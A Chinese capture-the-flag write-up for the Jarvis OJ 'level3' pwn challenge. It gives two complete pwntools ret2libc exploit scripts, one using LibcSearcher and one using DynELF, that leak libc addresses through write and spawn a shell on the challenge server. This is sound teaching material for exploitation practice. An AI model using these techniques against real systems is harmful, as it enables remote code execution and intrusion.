1. 程式人生 > 其它 >[Jarvis OJ - PWN]——[XMAN]level3

[Jarvis OJ - PWN]——[XMAN]level3

技術標籤:pwn# Jarvis OJ

[Jarvis OJ - PWN]——[XMAN]level3

  • 題目地址:https://www.jarvisoj.com/challenges
  • 題目:
    在這裡插入圖片描述
    先checksec一下,32位程式開啟了NX保護。
    在這裡插入圖片描述
    在IDA看下。第一個函式中,有可以棧溢位利用的函式read。查詢發現沒有system函式和’/bin/sh’字串。
    在這裡插入圖片描述
    在這裡插入圖片描述

expolit

from pwn import *
from LibcSearcher import *
p=remote("pwn2.jarvisoj.com",9879)
elf=ELF("level3"
) main_addr=0x08048484 write_plt=elf.plt["write"] write_got=elf.got["write"] read_plt=elf.plt["read"] payload = 'a'*(0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) # 洩露write的實際地址,並且返回mian函式進行重複呼叫 p.sendlineafter("Input:\n",payload)
write_addr = u32(p.recv(4)) ##找到write的實際地址 log.success("write_addr: "+hex(write_addr)) libc = LibcSearcher('write',write_addr) #選擇合適的libc版本,可以都試試如果有兩個的話 libc_base=write_addr-libc.dump('write') #找到Libc的基地址 system_addr=libc_base+libc.dump('system') #利用基地址和偏移計算函式地址 bin_sh_addr=libc_base+
libc.dump('str_bin_sh') payload = 'a'*(0x88 + 0x4) + p32(system_addr) + p32(0) + p32(bin_sh_addr) p.sendlineafter("Input:\n",payload) p.interactive()

或許你們可能看的其他的DynELF解法,可以自行百度檢視用法,不過有點老說實話。

在這裡插入圖片描述

from pwn import *
p=remote("pwn2.jarvisoj.com",9879)
elf=ELF("level3")
main_addr=0x08048484
pop_pop_pop_ret=0x08048519
plt_write=elf.plt["write"]
#模板百度就可以找到,write和puts的模板不一樣。32和64位模板也不一樣
def leak(address): 
    p.recvline()
    payload = "a" * (0x88 + 0x4) + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)
    p.send(payload)
    data=p.recv(4)
    print hex(u32(data))
    print "%#x => %s" % (address,(data  or '').encode('hex'))
    return data

d=DynELF(leak,elf=ELF("./level3"))
system_addr=d.lookup('system','libc')

bss_addr=0x0804a027
plt_read=elf.plt["read"]
p.recvline()
#思路找到一塊沒有被利用記憶體,將'/bin/sh'寫進去。作為引數傳給system
payload = "a" * (0x88 + 0x4) + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_addr) + p32(8)
payload+=p32(system_addr)+p32(0x77777777)+p32(bss_addr)

p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()